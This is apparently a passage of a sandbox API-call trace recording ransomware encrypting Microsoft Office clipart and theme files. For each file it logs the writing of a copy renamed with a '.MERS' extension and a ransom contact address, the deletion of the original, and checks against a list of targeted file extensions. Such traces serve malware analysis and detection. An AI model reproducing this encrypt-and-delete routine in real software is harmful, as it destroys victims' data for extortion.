Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20 [0267.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0267.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0267.003] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0267.003] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0267.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0267.003] GetLastError () returned 0x0 [0267.003] ReadFile (in: hFile=0x2d8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x1361, lpOverlapped=0x0) returned 1 [0267.106] WriteFile (in: hFile=0x3cc, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x1370, lpOverlapped=0x0) returned 1 [0267.224] ReadFile (in: hFile=0x2d8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0267.224] WriteFile (in: hFile=0x3cc, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.224] SetEndOfFile (hFile=0x3cc) returned 1 [0267.541] CloseHandle (hObject=0x3cc) returned 1 [0267.541] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0267.541] SetEndOfFile (hFile=0x2d8) returned 1 [0267.995] CloseHandle (hObject=0x2d8) returned 1 [0267.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0268.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.050] lstrlenW (lpString=".doc") returned 4 [0268.050] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0268.050] lstrlenW (lpString=".docx") returned 5 [0268.050] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0268.050] lstrlenW (lpString=".pdf") returned 4 [0268.050] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0268.051] lstrlenW (lpString=".xls") returned 4 [0268.051] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0268.051] lstrlenW (lpString=".xlsx") returned 5 [0268.051] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0268.051] lstrlenW (lpString=".ppt") returned 4 [0268.051] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0268.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.051] lstrlenW (lpString=".zip") returned 4 [0268.051] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0268.051] lstrlenW (lpString=".rar") returned 4 [0268.051] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0268.051] lstrlenW (lpString=".bz2") returned 4 [0268.051] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0268.051] lstrlenW (lpString=".7z") returned 3 [0268.051] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0268.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.051] lstrlenW (lpString=".dbf") returned 4 [0268.051] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0268.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.051] lstrlenW (lpString=".1cd") returned 4 [0268.051] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0268.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.051] lstrlenW (lpString=".jpg") returned 4 [0268.051] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0268.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.051] lstrlenW (lpString=".doc") returned 4 [0268.051] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0268.051] lstrlenW (lpString=".docx") returned 5 [0268.051] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0268.051] lstrlenW (lpString=".pdf") returned 4 [0268.051] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0268.051] lstrlenW (lpString=".xls") returned 4 [0268.051] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0268.052] lstrlenW (lpString=".xlsx") returned 5 [0268.052] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0268.052] lstrlenW (lpString=".ppt") returned 4 [0268.052] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0268.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.052] lstrlenW (lpString=".zip") returned 4 [0268.052] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0268.052] lstrlenW (lpString=".rar") returned 4 [0268.052] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0268.052] lstrlenW (lpString=".bz2") returned 4 [0268.052] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0268.052] lstrlenW (lpString=".7z") returned 3 [0268.052] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0268.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.052] lstrlenW (lpString=".dbf") returned 4 [0268.052] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0268.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.052] lstrlenW (lpString=".1cd") returned 4 [0268.052] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0268.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0268.052] lstrlenW (lpString=".jpg") returned 4 [0268.052] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0268.052] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0268.052] lstrlenW (lpString="Adjacency.eftx") returned 14 [0268.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0268.072] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=21089) returned 1 [0268.072] CloseHandle (hObject=0x3a4) returned 1 [0268.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 0x20 [0268.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0268.076] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0268.077] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0268.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0268.520] GetLastError () returned 0x0 [0268.520] ReadFile (in: hFile=0x3a4, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x5261, lpOverlapped=0x0) returned 1 [0268.611] WriteFile (in: hFile=0x3d0, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x5270, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x5270, lpOverlapped=0x0) returned 1 [0268.612] ReadFile (in: hFile=0x3a4, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0268.612] WriteFile (in: hFile=0x3d0, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xf0, lpOverlapped=0x0) returned 1 [0268.612] SetEndOfFile (hFile=0x3d0) returned 1 [0268.614] CloseHandle (hObject=0x3d0) returned 1 [0268.614] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0268.614] SetEndOfFile (hFile=0x3a4) returned 1 [0268.616] CloseHandle (hObject=0x3a4) returned 1 [0268.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 1 [0268.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.617] lstrlenW (lpString=".doc") returned 4 [0268.617] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.617] lstrlenW (lpString=".docx") returned 5 [0268.617] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.617] lstrlenW (lpString=".pdf") returned 4 [0268.617] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.617] lstrlenW (lpString=".xls") returned 4 [0268.617] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.617] lstrlenW (lpString=".xlsx") returned 5 [0268.617] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.617] lstrlenW (lpString=".ppt") returned 4 [0268.617] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.617] lstrlenW (lpString=".zip") returned 4 [0268.617] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.617] lstrlenW (lpString=".rar") returned 4 [0268.617] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.617] lstrlenW (lpString=".bz2") returned 4 [0268.617] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.617] lstrlenW (lpString=".7z") returned 3 [0268.617] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.617] lstrlenW (lpString=".dbf") returned 4 [0268.617] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.617] lstrlenW (lpString=".1cd") returned 4 [0268.617] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.617] lstrlenW (lpString=".jpg") returned 4 [0268.617] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.618] lstrlenW (lpString=".doc") returned 4 [0268.618] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.618] lstrlenW (lpString=".docx") returned 5 [0268.618] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.618] lstrlenW (lpString=".pdf") returned 4 [0268.618] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.618] lstrlenW (lpString=".xls") returned 4 [0268.618] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.618] lstrlenW (lpString=".xlsx") returned 5 [0268.618] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.618] lstrlenW (lpString=".ppt") returned 4 [0268.618] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.618] lstrlenW (lpString=".zip") returned 4 [0268.618] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.618] lstrlenW (lpString=".rar") returned 4 [0268.618] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.618] lstrlenW (lpString=".bz2") returned 4 [0268.618] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.618] lstrlenW (lpString=".7z") returned 3 [0268.618] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.618] lstrlenW (lpString=".dbf") returned 4 [0268.618] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.618] lstrlenW (lpString=".1cd") returned 4 [0268.618] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0268.618] lstrlenW (lpString=".jpg") returned 4 [0268.619] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.619] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0268.619] lstrlenW (lpString="Austin.eftx") returned 11 [0268.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0268.627] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=26989) returned 1 [0268.627] CloseHandle (hObject=0x3a4) returned 1 [0268.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 0x20 [0268.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0268.628] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0268.628] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0268.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0268.629] GetLastError () returned 0x0 [0268.629] ReadFile (in: hFile=0x3a4, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x696d, lpOverlapped=0x0) returned 1 [0268.705] WriteFile (in: hFile=0x3d0, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x6970, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x6970, lpOverlapped=0x0) returned 1 [0268.706] ReadFile (in: hFile=0x3a4, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0268.706] WriteFile (in: hFile=0x3d0, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xea, lpOverlapped=0x0) returned 1 [0268.706] SetEndOfFile (hFile=0x3d0) returned 1 [0268.706] CloseHandle (hObject=0x3d0) returned 1 [0268.706] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0268.706] SetEndOfFile (hFile=0x3a4) returned 1 [0268.708] CloseHandle (hObject=0x3a4) returned 1 [0268.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 1 [0268.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.821] lstrlenW (lpString=".doc") returned 4 [0268.821] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.821] lstrlenW (lpString=".docx") returned 5 [0268.821] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.821] lstrlenW (lpString=".pdf") returned 4 [0268.821] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.821] lstrlenW (lpString=".xls") returned 4 [0268.821] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.821] lstrlenW (lpString=".xlsx") returned 5 [0268.821] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.821] lstrlenW (lpString=".ppt") returned 4 [0268.821] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.821] lstrlenW (lpString=".zip") returned 4 [0268.821] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.821] lstrlenW (lpString=".rar") returned 4 [0268.821] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.821] lstrlenW (lpString=".bz2") returned 4 [0268.821] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.821] lstrlenW (lpString=".7z") returned 3 [0268.821] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.822] lstrlenW (lpString=".dbf") returned 4 [0268.822] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.822] lstrlenW (lpString=".1cd") returned 4 [0268.822] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.822] lstrlenW (lpString=".jpg") returned 4 [0268.822] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.822] lstrlenW (lpString=".doc") returned 4 [0268.822] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.822] lstrlenW (lpString=".docx") returned 5 [0268.822] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.822] lstrlenW (lpString=".pdf") returned 4 [0268.822] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.822] lstrlenW (lpString=".xls") returned 4 [0268.822] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.822] lstrlenW (lpString=".xlsx") returned 5 [0268.822] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.822] lstrlenW (lpString=".ppt") returned 4 [0268.822] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.822] lstrlenW (lpString=".zip") returned 4 [0268.822] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.822] lstrlenW (lpString=".rar") returned 4 [0268.822] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.822] lstrlenW (lpString=".bz2") returned 4 [0268.822] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.822] lstrlenW (lpString=".7z") returned 3 [0268.822] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.822] lstrlenW (lpString=".dbf") returned 4 [0268.822] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.823] lstrlenW (lpString=".1cd") returned 4 [0268.823] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0268.823] lstrlenW (lpString=".jpg") returned 4 [0268.823] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.823] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0268.823] lstrlenW (lpString="Black Tie.eftx") returned 14 [0268.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0268.826] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=618119) returned 1 [0268.826] CloseHandle (hObject=0x3b0) returned 1 [0268.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 0x20 [0268.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 